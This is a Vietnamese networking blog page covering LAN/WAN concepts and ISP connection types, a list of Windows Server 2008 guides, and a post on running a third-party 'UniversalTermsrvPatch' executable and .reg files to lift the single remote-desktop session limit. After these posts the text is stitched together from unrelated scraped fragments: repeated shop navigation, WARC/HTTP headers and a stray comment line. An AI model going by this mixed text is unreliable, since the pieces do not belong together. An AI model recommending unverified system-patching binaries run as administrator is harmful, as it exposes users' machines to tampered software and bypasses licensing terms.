Từ những những ngày đầu phát triển Network, vì những giới hạn về công nghệ và để giảm giá thành nên người ta sử dụng dây dẫn kim loại và tín hiệu điện để truyền dữ liệu giữa các thiết bị. Các bạn đã biết, tín diệu điện khi truyền trên dây dẫn kim loại luôn có hiện tượng suy giảm nên các thiết bị mạng chỉ có thể truyên tín hiệu chính xác trong một khoảng cách nhất định. Tất nhiên người ta có thể chế tạo các thiết bị truyền tín hiệu với khoảng cách hàng chục thậm chí hàng trăm kilomet! Nhưng điều này có thực sự cần thiết không vì làm như vậy thì các thiết bị mạng sẽ rất đắt tiền. Thực tế tại thời điểm đó hoàn toàn không có nhu cầu này (nối các PC cách xa hàng trăm Km). Vậy khoảng cách bao xa là đủ? Đây là một câu hỏi không thể trả lời chính xác được mà chỉ có thể trả lời bằng nhu cầu thực tế.
• Khi các thiết bị sẽ được bố trí trong một tòa nhà vậy khoảng cách tối đa 200m có đủ không? -trả lời đủ với tòa nhà không quá lớn
• Vậy khi có nhu cầu lớn hơn thì sao? trả lời vậy thì 500m?
Và người ta đã đưa ra nhiều loại thiết bị mạng có chuẩn gửi dữ liệu khác nhau (10base2_khoảng cách tối đa 185m hay 10base5_khoảng cách tối đa 500m…). Tuy nhiên, trên thực tế với chều dài 200m cũng khá lớn (lớn hơn tòa nhà cao nhất Sài Gòn ngày nay!) và đủ dùng cho hầu hết các trường hợp nên chuẩn 10base5 đã đi vào quá khứ.
Ngày nay chúng ta vẫn dùng phổ biến cable UTP cho mạng nội bộ. Chuẩn 10baseT, 100baseT cũng có giới hạn khoảng cách từ PC đến SW/HUB là 100m hoặc dùng các AP thông thường cho wireless cũng nằm trong khoảng cách này.
Mạng LAN có thể hiểu là một hệ thống mạng với các thiết bị nằm trong một khoảng cách giới hạn (vài trăm mét) và các thiết bị truyền dữ liệu trong mạng LAN thuộc về Cty/cá nhân sở hữu mạng LAN đó!
**3 Khái niệm WAN (Wide Area Network)**
Lợi ích lớn nhất của
**network** chính là việc tiết kiệm thời gian gửi dữ liệu, với hệ thống mạng LAN đang có thì chúng ta có thể tiết kiệm thời gian khi gửi dữ liệu giữa các thiết bị “gần” nhau. Nhưng trong trường hợp Cty của bạn cho 2 chi nhánh ở Sài Gòn và Hà Nội thì việc gửi dữ liệu giữa các chi nhánh này vẫn phải dùng dịch vụ bưu chính truyền thống!
Nhu cầu cấp thiết là xây dụng một hệ thống mạng nối các thành phố lớn với nhau và dần dần là nối cả thế giới với nhau, muốn vậy người ta phải cho ra đời các thiết bị hoàn toàn mới, có khả năng gửi dữ liệu với khoảng cách từ xa cho đến rất xa, có thể vài Km đến vài trăm Km hay đến cả một vòng trái đất. Nói chung các thiết bị này có thể gửi dữ liệu xa hơn nhiều lần các thiết bị LAN. Các thiết bị này gọi là thiếtbị
**WAN**.
Quay lại với trường hợp Cty bạn có 2 chi nhánh ở Sài Gòn và Hà Nội thì Cty bạn có phải mua hơn 1700 Km dây và hàng đống các thiết bị WAN để nối mạng không? Chắc chắn là một Cty bình thường sẽ không bao giờ có đủ chi phí để thực hiện việc này. Nó quá khó và tốn kém thế nên tốt hơn là chúng ta nên đi thuê. Và từ nhu cầu này đã hình thành các Cty chuyên đầu tư cơ sở hạ tầng. Họ đầu tư với chi phí rất lớn và thu lợi bằng cách cho các Cty khác thuê lại cơ sở hạ tầng mạng. Các Cty cho thuê gọi là ISP (Internet Services Provider) các Cty thuê là khách hàng, chính là chúng ta, người sử dụng dịch vụ. Mạng WAN khác mạng LAN ở chỗ chúng ta đi thuê cơ sở hạng tầng mạng từ ISP còn mạng LAN thì chúng ta tự đầu tư.
Khi sử dụng dịch vụ WAN, có hai khái niệm cần phân biệt là và
**SITE-to-SITE** và **INTERNET**. **3.1 SITE-to-SITE Truyền thống:**
Trong trường hợp trên, khi một Cty có hai hoặc nhiều chi nhánh cách xa nhau và cần nối mạng với nhau, lúc đó ta sử dụng cơ sở hạ tầng mạng của ISP để gửi dữ liệu giữa các chi nhánh, dịch vụ này gọi chung là
**site-to-site**. Dịch vụ site-to-site mang tính chất riêng tư (private), các thiết bị mạng trong trường hợp này đề sử dụng các dãy **địa chỉ private** và chỉ có các thiết bị giữa các site liên lạc được với nhau mà thôi. Tùy theo nhu cầu của khách hàng, ISP đưa ra kỹ thuật-dịch vụ khác nhau với giá thành/chất lượng khác nhau để khách hàng lựa chọn. **3.1.1 Dịch vụ kênh thuê riêng (Leased Line)**
Dịch vụ kênh thuê riêng là dịch vụ cho thuê kênh truyền dẫn vật lý dùng riêng để kết nối và truyền thông tin giữa các thiết bị đầu cuối, mạng nội bộ, mạng viễn thông dùng riêng của khách hàng tại hai địa điểm cố định khác nhau.
Các đặc điểm của Dịch vụ kênh thuê riêng:
•
**Tính bảo mật, và tính sẵn sàng cao (do không phải chia sẻ đường truyền)**
• Chi phí thuê sử dụng dịch vụ cố định hàng tháng.
• Toàn quyền sử dụng kênh liên lạc liên tục 24 giờ/ngày, 7 ngày/tuần.
• Chất lượng đảm bảo tiêu chuẩn quốc tế
• Truyền dẫn theo thời gian thực, không bị trễ
• Tốc độ đáp ứng các yêu cầu của khách hàng.
Nhược điểm lớn nhất của Dịch vụ kênh thuê riêng là
**đắt tiền.**Lý do chính khiến cho Dịch vụ kênh thuê riêng rất đắt là mỗi khách hành sử dụng một kênh truyền riêng, không chia sẻ với các khách hàng khác và hầu như tất cả các khách hàng đều không thể khai thác hết công suất kênh thuê bao riêng. **3.1.2 Frame relay ( Packet switching)**
Với nhu cầu ngày càng lớn của các khách hàng cần một kết nối site-to-site giá rẻ hơn leased line, người ta đưa ra một kỹ thuật được gọi là Packet switching. ISP cho các khách hàng dùng chung cơ sở hạ tầng mạng để gửi dữ liệu, để phân loại dữ liệu của các khách hàng, phía ISP sẽ đánh số vào các gói tin cho mỗi khách hàng khác nhau, sau đó dựa vào số này (DLCI) ISP sẽ gửi các gói tin đến site mà khách hàng cần kết nối. Với cách này phía ISP sẽ khai thác công suất của cơ sở hạ tầng mạng hiệu quả hơn và kết quả là các khách hàng có một dịch vụ site-to-site rẻ hơn leased-line. Frame-relay là một trong các chuẩn sử dụng kỹ thuật packet switching.
Frame Relay là dịch vụ truyền số liệu mạng diện rộng liệu theo phương thức chuyển mạch khung với tốc độ cao, tạo ra băng thông lớn thích hợp với các ứng dụng phức tạp đòi hỏi tốc độ lớn và dung lượng truyền tin cao. Frame Relay thích hợp cho các khách hàng có nhu cầu kết nối các mạng diện rộng và sử dụng các ứng dụng riêng với tốc độ kết nối cao (băng thông tối đa là 44,736 Mbit/s) và phục vụ cho các ứng dụng phức tạp như tiếng nói, âm thanh, hình ảnh.
*Lợi ích mang lại cho khách hàng:*
• Frame Relay đảm bảo chất lượng dịch vụ cung cấp, tiết kiệm chi phí về thiết bị, chi phí sử dụng. Đơn giản, tiết kiệm, linh hoạt trong nâng cấp, Frame Relay nâng cao hiệu quả sử dụng mạng và phạm vi cung cấp dịch vụ rộng.
• Frame Relay đảm bảo chất lượng dịch vụ cung cấp: Bằng khả năng cung cấp tốc độ truyền thông cam kết CIR (
*Commited Information Rate*– Tốc độ truyền thông dữ liệu tối thiểu được cam kết bởi nhà cung cấp dịch vụ), Frame Relay cho phép khách hàng đảm bảo và kiểm soát chất lượng dịch được cung cấp.
• Tiết kiệm chi phí về thiết bị: Cho phép thiết lập nhiều đường kết nối ảo thông qua một kênh vật lý duy nhất, điều này làm giảm thiểu chi phí thiết bị so với hệ thống mạng dùng các kênh kết nối trực tiếp
• Tiết kiệm chi phí sử dụng
• Với nhiều tốc độ CIR cung cấp khách hàng hoàn toàn có thể điều chỉnh chi phí sử dụng mạng thích hợp nhất với nhu cầu trao đổi dữ liệu của mình.
• Đơn giản, tiết kiệm, linh hoạt trong nâng cấp
• Frame Relay nâng cao hiệu quả sử dụng mạng: Frame Relay cho phép tích hợp nhiều ứng dụng khác nhau sử dụng các công nghệ truyền thông khác nhau trên một mạng lưới duy nhất (Voice, Data, Video,…). Frame Relay hỗ trợ khả năng tích hợp và tương thích với các tiêu chuẩn kỹ thuật khác nhau(X25, TCP/IP, SNA, ATM….)
• Cung cấp khả năng quản lý mạng và bảo mật an toàn mạng lưới
• Phạm vi cung cấp dịch vụ rộng, giao dịch cung cấp dịch vụ trên toàn quốc.
• Khả năng sử dụng dịch vụ: Trong nước và quốc tế
Nhược điểm so với leased-line là độ bảo mật kém hơn và tốc độ truyền dữ liệu được giới hạn trong một khoảng min và max chứ không cố định như leased-line.
**3.1.3 Dịch vụ quay số điện thoại (PSTN)**
Trong một số trường hợp các site nằm trong các khu vực không thể tiếp cận với cơ sở hạ tầng của ISP (vùng sâu, vùng xa…) thì ta có thể dùng đường truyền điện thoại để gửi dữ liệu. Vì đường truyên điện thoại PSTN chỉ có khả năng gửi tín hiệu âm thanh do đó tại các site phải có các thiết bị chuyển đổi tín hiệu số thành tín hiệu âm thanh và ngược lại. Việc chuyển đổi này không thể thực hiện với tốc độ cao được vì đường truyền điện thoại có chất lượng âm thanh khá thấp. Hoạt động của các thiết bị này (modem) bị giới hạn ở mức 56Kbps. Với tốc độ này nên ngày nay chúng ta ít sử dụng kiểu quay số điện thoại cho việc gửi dữ liệu.
**3.2 INTERNET**
Là một hệ thống mạng toàn cầu, mang tính chất công cộng (public), các tài nguyên được chia sẻ và dùng chung. Để có được kết nối internet chúng ta cần một
**đường truyền vật lý từ nhà hoặc VP Cty kết nối đến trụ sở ISP**. Khoảng cách này thông thường không quá xa (khoảng vài Km) nhưng cũng vượt quá tầm hoạt động của thiết bị LAN do đó vẫn phải dùng các thiết bị WAN. Để phổ cập internet nên các thiết bị dùng để kết nối INTERNET phải có giá thành hợp lý
Các dịch vụ internet thông dụng: (Trong phần này Em lấy các dịch vụ của VNN để làm ví dụ)
**3.2.1 INTERNET thông qua đường truyền điện thoại PSTN**
Giống trong trường hợp 3.1.3, chúng ta có thể dùng line điện thoại để gửi dữ liệu từ VP, nhà đến trụ sở ISP, tại ISP họ có các đường truyền chuyên dụng để hòa mạng quốc tế, gọi là các cổng internet.
Ưu điểm: Rẻ, đáp ứng được tại bất cứ nơi nào có đường truyền điện thoại cố định
Nhược điểm: vì phải chuyển đổi qua tín hiệu âm thanh và gửi trên đường truyền điện thoại nên tốc độ chậm (56Kbps)
**3.2.2 Dịch vụ Internet trực tiếp ( leased line internet)**
Trong trường hợp cần một đường truyền internet tốc độ cao và ổn định thì chúng ta có thể sử dụng các thiết bị như mục
**3.1.1**. Các thiết bị này dùng để kết nối từ VP Cty đến ISP, trường hợp này gọi là leased-line internet.
Ưu điểm:
• Tốc độ không giới hạn: Kết nối Internet trên đường truyền cáp quang hoặc cáp đồng, với tốc độ từ 64Kbps tới hàng chục Gbps
• Riêng biệt & trực tiếp: Kết nối trực tiếp vào cổng Internet quốc gia bằng kênh riêng vật lý, hoàn toàn không còn trễ và nghẽn mạng.
• Rất ổn định: Với công nghệ đối xứng cho cả upload và download sẽ cho phép kết nối Internet liên tục và thông suốt 24/24
• Bảo mật: Kênh truyền dẫn riêng biệt sẽ giúp giảm thiểu các tấn công và xâm nhập vào mạng dữ liệu của bạn qua Internet.
• Linh hoạt về băng thông trong nước và quốc tế: Ngoài việc kết nối Internet ra cổng quốc tế như cam kết, khách hàng có thể truy nhập Internet trong nước với mọi tốc độ, tùy thuộc yêu cầu của khách hàng.
Nhược điểm giống như
**3.1.1**là rất đắt tiền **3.2.3 Dịch vụ X_DSL:**
Vậy để có thể kết nối vào hệ thống mạng internet, các khách hàng chỉ cần đườn truyền vật lý nối từ VP đến trụ sở ISP, khoảng cách này thông thường khoảng vài Km. Nếu dùng dịch vụ
**3.2.1**thì tốc độ truyền dữ liệu quá chậm còn dùng d/v **3.2.2**thì quá đắt! Với nhu cầu ngày càng nhiều nên người ta phát triển các công nghệ mới. Trên đường truyền điện thoại, tín hiệu thoại được gửi dưới dạng sóng analog, với kỹ thuật mới, người ta có thể gửi cùng trên một line điện thoại một dạng tín hiệu digital khác, kỹ thuật này gọi là DSL ( **)** [Digital Subcriber Line](http://vi.wikipedia.org/wiki/XDSL)
Với công nghệ X_DSL, các ISP đã có được một cách phân phối internet đến các khách hàng với chi phí thấp. Tất nhiên công nghệ DSL chỉ có thể gửi dữ liệu trong phạm vi vài Km nên không thể ứng dụng trong trường hợp kết nối site-to-site với khoảng cách đến hàng ngàn Km.
**3.2.4 Cáp quang ( fiber):**
Công nghệ ngày càng phát triển, người ta ngày càng không hài lòng với những gì đang có. Do việc sử dụng cable đồng còn nhiều nhược điểm (suy giảm tín hiệu, nhiễu, sét đánh…) người ta phát triển công nghệ cáp quang với các đặc điểm:
• Internet FTTH(FTTH- Fiber to the home) là dịch vụ truy cập Internet hiện đại nhất với đường truyền dẫn hoàn toàn bằng cáp quang đến địa chỉ thuê bao.
• Mạng cáp quang được đưa đến địa chỉ thuê bao giúp khách hàng sử dụng được đa dịch vụ trên mạng viễn thông chất lượng cao, kể cả dịch vụ truyền hình giải trí.
• Internet FTTH thích hợp cho khách hàng cá nhân, tổ chức, doanh nghiệp.
• Đường truyền có tốc độ ổn định; tốc độ truy cập Internet cao.
• Không bị suy hao tín hiệu bởi nhiễu điện từ, thời tiết hay chiều dài cáp.
• An toàn cho thiết bị, không sợ sét đánh lan truyền trên đường dây.
• Nâng cấp băng thông dễ dàng mà không cần kéo cáp mới.
**3.3 SITE-to-SITE “biến thể” ít ngon nhưng bổ, rẻ!!!** **3.3.1 VPN: (Rẻ nhất, ít ngon nhất, bổ tùy theo trường hợp)**
Nếu Cty Bạn có 2 site và mỗi site đã có đường truyền internet (ADSL) thì các thiết bị tại các site chỉ có thể truy xuất trực tiếp đến các Host trên internet (các host có địa chỉ public) mà thôi mặc dù xét về đường truyền vật lý thì các host đề có liên kết với nhau. Vấn đề nằm ở chỗ các thiết bị trong mạng LAN được đặt IP Private còn các thiết bị internet chỉ làm việc với địa chỉ Public. Chúng ta có thể tận dụng mạng internet (giá rẻ) để gửi dữ liệu riêng giữa các site bằng cách yêu cầu các router kết nối internet của 2 site “bắt tay” với nhau để chuyển giao dữ liệu mạng nội bộ thông qua vỏ bọc là địa chỉ public của chính các router đó. Kỹ thuật này gọi là VPN (Virtual Private Network)
Vì chẳng có một đơn vị nào đứng ra bảo đảm cho VPN hoạt động thông suốt nên độ tin cậy của VPN trong trường hợp này bằng không! Khả năng bảo mật cũng là vấn đề lớn nhưng ưu điểm lớn nhất là ta chỉ phải trả chi phí cho kết nối internet mà thôi, việc gửi dữ liệu giữa các site cũng tương tự việc gửi dữ liệu từ mạng LAN đến một thiết bị trên internet.
**3.3.2 VPN có bảo kê: (Ngon hơn, giá vừa phải, bổ tùy theo trường hợp)**
Khi các ISP đầu tư cơ sở hạ tầng mạng thì họ luôn nghĩ cách khai thác tối đa để thu lợi. Trong khi đó, nhu cầu nối mạng giữa các chi nhánh trong Cty (site-to-site) không ngừng tăng lên, leased-line site-to-site và frame-relay chưa tận dụng hết hiệu suất cơ sở hạ tầng mạng, do đó ISP đưa ra dịch vụ mới (trên nền ý tưởng cũ là packet switching). Các chi nhánh trong Cty Bạn sẽ có một đường truyền tới ISP theo công nghệ giá rẻ X_DSL, nhưng dữ liệu của các chi nhánh này sẽ được ISP dẫn đường trên các thiết bị của họ để gửi đến các chi nhánh khác chứ không đi ra internet rồi mới tới các chi nhánh như
**3.3.1 **Việc gửi dữ liệu này do ISP kiểm soát nên họ có thể điều khiển tốc độ gửi và có vẻ an toàn hơn **3.3.1**. Để gửi và nhận dữ liệu với tốc độ bằng nhau, người ta thường dùng chuần SH_DSL. Với nhà cung cấp dịch vụ VNN, dịch vụ này có tên thương mại là ** Công nghệ gửi các gói tin trong trường hợp này thường được các ISP quảng bá nhiều do mục đích cạnh tranh trong kinh doanh. MPLS là thuật ngữ viết tắt cho Multi-Protocol Label Switching (chuyển mạch nhãn đa giao thức). Nguyên tắc cơ bản của MPLS là thay đổi các thiết bị lớp 2 trong mạng như các thiết bị chuyển mạch ATM thành các LSR (label-switching router-Bộ định tuyến chuyển mạch nhãn). LSR có thể được xem như một sự kết hợp giữa hệ thống chuyển mạch ATM với các bộ định tuyến truyền thống. MEGAWAN** [Xem thêm MPLS](http://www.tapchibcvt.gov.vn/News/PrintView.aspx?ID=16548) **4 Lời kết**
Khi nói đến dịch vụ WAN, có hai nhu cầu các bạn cần tách biệt rõ vì chúng khác nhau hoàn toàn là
**SITE-to-SITE **và ** INTERNET** **Site-to-site: **mang tính chất private, các thiết bị được gán địa chỉ private và liên lạc nội bộ với nhau. Trường hợp này được dùng nhiều trong các Cty có nhiều chi nhánh (site) cần kết nối với nhau.
· Nếu dữ liệu Cty bạn rất quan trọng và nhạy cảm thì sự lựa chọn dịch vụ kết nối cũng như nhà cung cấp dịch vụ cũng quan trọng không kém. Các trường hợp này yếu tố giá thành thường được xếp sau các yếu tố về bảo mật(secure) và độ tin cậy (reliability). Dịch vụ
**3.1.1 Dịch vụ kênh thuê riêng** là sự lựa chọn trong trường hợp này. Dữ liệu của Cty bạn sẽ được gửi thông qua kênh truyền riêng và được sự bảo đảm của ISP.
· Dịch vụ
** 3.1.2 Frame relay** là sự lựa chọn tiếp theo với giá thành rẻ hơn tất nhiên dịch vụ này có chất lượng thấp hơn (băng thông không cố định) tuy nhiên về mặt bảo mật thì dịch vụ này vẫn đáp ứng tốt. Trên thực tế **3.1.2 **không tạo được khoảng cách lớn về giá thành với **3.1.1**
· Với các Cty cần một đường truyền site-to-site rẻ hơn, chúng ta có thể dùng
**3.3.2** giá rẻ và được sự bảo đảm của ISP. Về lý thuyết thì tỷ lệ chất lượng/giá thành thì **3.3.2** là tối ưu. Công nghệ này tận dụng tối đa cơ sở hạ tầng mạng và ISP điều tiết việc gửi dữ liệu. Tuy nhiên việc dùng chung cơ sở hạ tầng mạng với các thuê bao internet thì vấn đề bảo mật lại trở thành điểm yếu.
Các dịch vụ trên, thông thường phía ISP sẽ hỗ trợ việc setup các thiết bị đầu cuối trong trường hợp bạn yêu cầu. ISP sẽ giải quyết các vấn đề trục trặc kỹ thuật của đường truyền trong thời gian sớm nhất (tùy theo cam kết của ISP).
·
**3.3.1** Chỉ nên dùng trong trường hợp dữ liệu không đòi hỏi tính bảo mật quá cao. Việc hoạt động thông suốt của 3.3.1 hoàn toàn phụ thuộc vào hệ thống mạng internet. Việc bảo mật dữ liệu cũng hoàn toàn thuộc trách nhiệm của khách hàng. Trong thực tế vẫn chưa có trường hợp nào được báo cáo là các thuật toán dùng đễ mã hóa dữ liệu của VPN đã bị phá. **Internet: **mang tính chất công cộng (public), các thiết bị được gán địa chỉ public, chúng có thể trao đổi dữ liệu với bất cứ thiết bị nào khác trên internet. Cũng giống trường hợp site-to-site
· Nếu mục đích kết nối internet của các bạn là thực sự quan trọng, cần một kết nối ổn định, chất lượng cao và không quan tâm nhiều đến giá thành thì
**3.2.2 Dịch vụ Internet trực tiếp** là sự lựa chọn của bạn. Dịch vụ này sẽ cho bạn gửi dữ liệu trực tiếp đến cổng internet với tốc độ cam kết của ISP.
· Phần lớn nhu cầu kết nối internet thường được dùng cho cá nhân với nhu cầu không quá cao về chất lượng, chúng ta có nhiều lựa chọn khác với chi phí phù hợp hơn.
**3.2.3 Dịch vụ X_DSL** Có thể nói là dịch vụ phổ biến nhất hiện nay với các ưu điểm về giá thành và chất lượng khá tốt.
· Dịch vụ
**3.2.4 Cáp quang** là công nghệ mới hơn, phù hợp với các khách hàng có nhu cầu cao hơn **3.2.3** nhưng không kham nổi chi phí của **3.2.2**
· Các dịch vụ
**3.2.3 **và ** 3.2.4** đều sử dụng chung cơ sở hạ tầng mạng của ISP và băng thông đến các host quốc tế bị chia sẻ với các khách hàng khác.
[Windows Server 2008 Step-by-Step Guides](https://vnquan.wordpress.com/2010/07/19/windows-server-2008-step-by-step-guides/) [Bạn nghĩ gì về bài viết này?](https://vnquan.wordpress.com/2010/07/19/windows-server-2008-step-by-step-guides/#respond)
**Overview :** [These step-by-step guides help IT Professionals learn about and evaluate Windows Server 2008. ]
These documents are downloadable versions of guides found in the
**Windows Server 2008 Technical Library**. ( [http://go.microsoft.com/fwlink/?LinkId=86808](http://go.microsoft.com/fwlink/?LinkId=86808))
**System Requirements:**
Supported Operating Systems: Windows Server 2008
**Files in This Download :** [http://www.microsoft.com/downloads/details.aspx?FamilyID=518d870c-fa3e-4f6a-97f5-acaf31de6dce&displaylang=en](http://www.microsoft.com/downloads/details.aspx?FamilyID=518d870c-fa3e-4f6a-97f5-acaf31de6dce&displaylang=en)
– Creating_and_Deploying_Active_Directory_Rights_Management_Se rvices_Templates_Step-by-Step_Guide.doc
– Deploying Active Directory Rights Management Services in a Multiple Forest Environment Step-by-Step Guide.doc
– Deploying Active Directory Rights Management Services in an Extranet Step-by-Step Guide.doc
– Deploying Active Directory Rights Management Services with Microsoft Office SharePoint Server 2007 Step-By-Step Guide.doc
– Deploying an Active Directory Rights Management Services Licensing-only Cluster Step-by-Step Guide.doc
– Deploying SSTP Remote Access Step by Step Guide.doc
– Removing Active Directory Rights Management Services Step-by-Step Guide.doc
– Server Manager Scenarios Step-by-Step Guide.doc
– Server_Core_Installation_Option_of_Windows_Server_2008_Step-By-Step_Guide.doc
– Step_by_Step_Guide_to_Customizing_TS_Web_Access_by_Using_Win dows_SharePoint_Services.doc
– Step-by-Step Guide for Configuring a Two-Node File Server Failover Cluster in Windows Server 2008.doc
– Step-by-Step Guide for Configuring a Two-Node Print Server Failover Cluster in Windows Server 2008.doc
– Step-by-Step Guide for File Server Resource Manager in Windows Server 2008.doc
– Step-by-Step Guide for Services for NFS in Windows Server 2008.doc
– Step-by-Step Guide for Storage Manager for SANs in Windows Server 2008.doc
– Step-by-Step Guide to Deploying Policies for Windows Firewall with Advanced Security.doc
– Step-by-Step_Guide_for_Configuring_Network_Load_Balancing_with_Termi nal_Services_in_Windows_Server_2008.doc
– Step-by-Step_Guide_for_Windows_Deployment_Services_in_Windows_Server _2008.doc
– TS RemoteApp Step-by-Step Guide.doc
– Using Identity Federation with Active Directory Rights Management Services Step-by-Step Guide.doc
– Windows Server 2008 Active Directory Certificate Services Step-By-Step Guide.doc
– Windows Server 2008 Foundation Network Guide.doc
– Windows Server 2008 Network Policy Server (NPS) Operations Guide.doc
– Windows Server 2008 Step-by-Step Guide for DNS in Small Networks.doc
– Windows Server 2008 TS Gateway Server Step-By-Step Setup Guide.doc
– Windows Server 2008 TS Licensing Step-By-Step Guide.doc
– Windows_ Server_Active_Directory_Rights_Management_Services_Step-by-Step_Guide.doc
– Windows_Server_2008_TS_Session_Broker_Load_Balancing_Step-By-Step_Guide.doc
[Tăng số lượng phiên kết nối remote desktop trong WinXP ,Vista](https://vnquan.wordpress.com/2010/06/29/tang-s%e1%bb%91-l%c6%b0%e1%bb%a3ng-phien-k%e1%ba%bft-n%e1%bb%91i-remote-desktop-trong-winxp-vista/) [Bạn nghĩ gì về bài viết này?](https://vnquan.wordpress.com/2010/06/29/tang-s%e1%bb%91-l%c6%b0%e1%bb%a3ng-phien-k%e1%ba%bft-n%e1%bb%91i-remote-desktop-trong-winxp-vista/#respond) **Thực hiện tăng số lượng phiên kết nối trong winXP bằng tools**Nếu bạn đã từng học MCSA thì chắc hẳn các bạn cũng biết mặc định OS XP chỉ cho phép 1 phiên kết nối vào một thời điểm mà thôi. Tức là, nếu bạn cho phép một user remote vào máy XP thì user tại máy đó phải logoff.
– Thực hiện enable chức năng remote desktop bằng script
– Thực hiện enable chức năng remote desktop bằng script
Trong nhiều tình huống thực tế ta cần trên một phiên kết nối, đo đó phải sửa đổi trong registry của windows. Trên mạng hiện đã có nhiều bài hướng dẫn các bạn thực hiện bằng cách dùng lệnh
**regedit** để chỉnh sửa trong registry editor.
Nhưng nay mình sẽ giới thiệu với mọi người thực hiện thao tác này bằng một chương trình nhỏ mà mình đã tham khảo được, chương trình này do tác giả người TQ viết.
**Các bước thực hiện**
Gồm phần chính: Tăng số phiên kết nối và enable chức năng remote deskop.
**Bước 1: Download chương trình sau về (dùng 1 trong 3 link)**
Download Link 1:
UniversalTermsrvPatch_20090425.zip (zip File, 66 KB)
Download Link 2:
UniversalTermsrvPatch_20090425.zip (zip File, 66 KB)
Download Link 3:
UniversalTermsrvPatch_20090425.zip (zip File, 66 KB) (Click to download) **Bước 2: Giải nén và thực hiện lần lượt (chú ý là lúc này bạn chưa enable chức năng remote desktop trong windows)** **B2.1 **Chạy file **UniversalTermsrvPatch-x86.exe** đối với các OS x86 phổ biến hiện nay ở VN. Bạn sẽ có cửa sổ sau (lúc này bạn đăng nhập với quyền admin nhé)
Click vào patch và khởi động lại máy tính.
B2.2 Chạy file
**xp.reg** nếu bạn dùng XP, chạy file **vista.reg** nếu bạn dùng VISTA. **Bước 3: Enable chức năng remote desktop.**
Thường thường các bạn thực hiện việc này bằng thao tác click chuột, ở bài này mình sẽ giới thiệu một script để enable remote desktop. bạn hãy download script này về và clik vào nó, nó sẽ thực hện giúp bạn.
**Thực hiện remote từ một máy khác. Cần chú ý lúc này bạn phải đặt mật khẩu cho user ở máy được remote, và User phải có quyền remoteBước 4: **
Hãy thử và trải nghiệm !
Chúc thành công

Link: <http://wp.me/1bGCL>; rel=shortlink


markdown:
![](https://static.vingroup.net/vgh_static/assets/images/modules/line/vingroup-card.dropdown.text.gif)
[Thực phẩm ưu đãi 30%](https://www.adayroi.com/thuc-pham-khuyen-mai-lp1603)
![ Thực phẩm ưu đãi 30%](https://cdn02.static-adayroi.com/0/2017/02/21/1487666845589_6500788.png)
[Rau-củ-quả VinEco](https://www.adayroi.com/vineco)
![ Rau-củ-quả VinEco](https://cdn02.static-adayroi.com/0/2017/02/21/148766685849_7934178.png)
[Góc quà tặng](https://www.adayroi.com/qua-tang-cho-ban-tp-lp1604)
![ Góc quà tặng](https://cdn02.static-adayroi.com/0/2017/02/21/1487666863747_2127941.png)
[Bánh kẹo - Đồ ăn vặt - Giải khát](https://www.adayroi.com/banh-keo-do-an-vat-giai-khat-m696) [Bánh kẹo](https://www.adayroi.com/banh-keo-m697) [Bia](https://www.adayroi.com/bia-c1955) [Thức uống](https://www.adayroi.com/thuc-uong-m713) [Thực phẩm khô](https://www.adayroi.com/thuc-pham-kho-m670) [Dầu ăn](https://www.adayroi.com/dau-an-c675) [Gia vị](https://www.adayroi.com/gia-vi-m676) [Thực phẩm ăn liền](https://www.adayroi.com/thuc-pham-an-lien-m671) [Sữa - Kem & sản phẩm từ sữa](https://www.adayroi.com/sua-kem-san-pham-tu-sua-m617) [Kem](https://www.adayroi.com/kem-m636) [Sữa nước](https://www.adayroi.com/sua-nuoc-m618) [Sữa chua](https://www.adayroi.com/sua-chua-m625) [Hóa phẩm – chất tẩy](https://www.adayroi.com/hoa-pham-chat-tay-m954) [Bột giặt – nước giặt – nước xả](https://www.adayroi.com/bot-giat-nuoc-giat-nuoc-xa-m955) [Chất tẩy rửa](https://www.adayroi.com/chat-tay-rua-m959) [Vật dụng nhà bếp](https://www.adayroi.com/vat-dung-nha-bep-m863) [Tất cả danh mục »](https://www.adayroi.com/thuc-pham-tieu-dung-r591)
## Đánh giá & Bình luận

WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: text/html

Cache-Control: private

Content-Type: text/html; charset=utf-8

X-XSS-Protection: 1; mode=block

Connection: close


markdown:
![](https://static.vingroup.net/vgh_static/assets/images/modules/line/vingroup-card.dropdown.text.gif)
[Thực phẩm ưu đãi 30%](https://www.adayroi.com/thuc-pham-khuyen-mai-lp1603)
![ Thực phẩm ưu đãi 30%](https://cdn02.static-adayroi.com/0/2017/02/21/1487666845589_6500788.png)
[Rau-củ-quả VinEco](https://www.adayroi.com/vineco)
![ Rau-củ-quả VinEco](https://cdn02.static-adayroi.com/0/2017/02/21/148766685849_7934178.png)
[Góc quà tặng](https://www.adayroi.com/qua-tang-cho-ban-tp-lp1604)
![ Góc quà tặng](https://cdn02.static-adayroi.com/0/2017/02/21/1487666863747_2127941.png)
[Bánh kẹo - Đồ ăn vặt - Giải khát](https://www.adayroi.com/banh-keo-do-an-vat-giai-khat-m696) [Bánh kẹo](https://www.adayroi.com/banh-keo-m697) [Bia](https://www.adayroi.com/bia-c1955) [Thức uống](https://www.adayroi.com/thuc-uong-m713) [Thực phẩm khô](https://www.adayroi.com/thuc-pham-kho-m670) [Dầu ăn](https://www.adayroi.com/dau-an-c675) [Gia vị](https://www.adayroi.com/gia-vi-m676) [Thực phẩm ăn liền](https://www.adayroi.com/thuc-pham-an-lien-m671) [Sữa - Kem & sản phẩm từ sữa](https://www.adayroi.com/sua-kem-san-pham-tu-sua-m617) [Kem](https://www.adayroi.com/kem-m636) [Sữa nước](https://www.adayroi.com/sua-nuoc-m618) [Sữa chua](https://www.adayroi.com/sua-chua-m625) [Hóa phẩm – chất tẩy](https://www.adayroi.com/hoa-pham-chat-tay-m954) [Bột giặt – nước giặt – nước xả](https://www.adayroi.com/bot-giat-nuoc-giat-nuoc-xa-m955) [Chất tẩy rửa](https://www.adayroi.com/chat-tay-rua-m959) [Vật dụng nhà bếp](https://www.adayroi.com/vat-dung-nha-bep-m863) [Tất cả danh mục »](https://www.adayroi.com/thuc-pham-tieu-dung-r591)


markdown: Shares Đất Việt là nơi tự do bày tỏ ý kiến, không có chế độ kiểm duyệt. Rất mong nhận được ý kiến của độc giả.

WARC-Truncated: length

Server: cloudflare-nginx

Pragma: no-cache

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Cf-Railgun: direct (starting new WAN connection)

Vary: Accept-Encoding,User-Agent

Content-Type: text/html; charset=UTF-8

X-Powered-By: W3 Total Cache/0.9.5.4


